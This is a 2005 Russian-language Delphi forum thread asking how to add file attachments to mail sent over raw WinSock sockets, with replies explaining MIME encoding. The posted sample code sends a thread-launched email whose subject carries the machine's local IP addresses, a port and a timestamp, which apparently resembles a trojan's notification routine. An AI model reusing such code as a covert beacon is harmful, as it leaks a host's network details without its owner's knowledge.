Текущий архив: 2005.12.11;
Скачать: CL | DM;
ВнизОтправка письма с аттачем с помощью WinSock Найти похожие ветки
← →
KGC © (2005-11-26 03:25) [0]Здравствуйте уважаемые.
Заинтересовался я отправкой почты, посидел почитал нашёл пару примеров, да вот никак не могу найти а как к письму прикрепить файл или несколько ?
Интересует реализация с помощью сокетов без всяких компоненток.
Заранее благодарен .
← →
KGC © (2005-11-26 06:22) [1]Вот кусок кода из примера, а как сюда файлы прикреплять ума не приложу.
function SMTPRecvReply(MailSocket: TSocket): Word;
var
Buffer: array[1..1024] of Byte;
Err: Integer;
BufStr: string;
begin
BufStr := "";
Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
for Err := 1 to 3 do
BufStr := BufStr + Chr(buffer[Err]);
try
Result := StrToInt(BufStr);
except
Result := 0;
end;
end;
function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
Buffer: array[1..1024] of Byte;
Err: Integer;
begin
Result := FALSE;
ZeroMemory(@Buffer, SizeOf(Buffer));
if Length(Str) > 1000 then
Exit;
for Err := 1 to Length(Str) do
Buffer[Err] := Ord(Str[Err]);
Buffer[Err] := 13;
Buffer[Err + 1] := 10;
Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
if Err > 0 then
Result := TRUE;
end;
function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
MailSocket: TSocket;
MailSent: Boolean;
MTime: TSystemTime;
SMTPServer: TSockAddrIn;
Step: Byte;
OutOfSend: Boolean;
begin
MailSent := FALSE;
OutOfSend := FALSE;
MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
SMTPServer.sin_family := AF_INET;
SMTPServer.sin_port := htons(25);
SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
Step := 0;
if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
repeat
case SMTPRecvReply(MailSocket) of
220: SMTPSendString(MailSocket, "HELO server.com");
250: case STEP of
0:
begin
SMTPSendString(MailSocket, "MAIL FROM:" + mail);
Inc(Step);
end;
1:
begin
SMTPSendString(MailSocket, "RCPT TO:" + mail);
Inc(Step);
end;
2:
begin
SMTPSendString(MailSocket, "DATA");
Inc(Step);
end;
3:
begin
SMTPSendString(MailSocket, "QUIT");
Inc(Step);
end;
end;
354:
begin
SMTPSendString(MailSocket, "From:" + ServerID);
SMTPSendString(MailSocket, "To:" + UserName);
SMTPSendString(MailSocket, "Subject:" + LocalIPS + " : " + port +
" At " + DateTimeToStr(Now));
SMTPSendString(MailSocket, CRLF);
for count := 1 to (txt.Count - 1) do
SMTPSendString(MailSocket, txt[count]);
SMTPSendString(MailSocket, CRLF + "." + CRLF);
end;
221:
begin
OutOfSend := True;
MailSent := True
end;
else
OutOfSend := True;
file: //!Case
end;
until OutOfSend;
CloseSocket(MailSocket);
end;
ExitThread(0);
end;
← →
Reindeer Moss Eater © (2005-11-26 10:24) [2]Никаких файлов в почтовом сообщении нет.
Есть тело сообщения.
В теле сообщения помещается его текст и следом за ним содержимое файла кодированное по MIME
← →
palva © (2005-11-26 10:26) [3]Письмо с вложениями должно находиться у вас в массиве txt.
Сохраните из Outlook Express какое-нибудь письмо с вложениями. Это будет файл с расширением eml. Вот так и должно выглядеть ваше письмо, только начальные заголовки (с адресом и др.) нужно отбросить. Вы их уже передаете в своей программе. Если непонятно, читайте документ RFC-1521 или его частичный перевод http://www.free.net/Info/voronin-02/index.htm
Страницы: 1 вся ветка
Текущий архив: 2005.12.11;
Скачать: CL | DM;
Память: 0.46 MB
Время: 0.037 c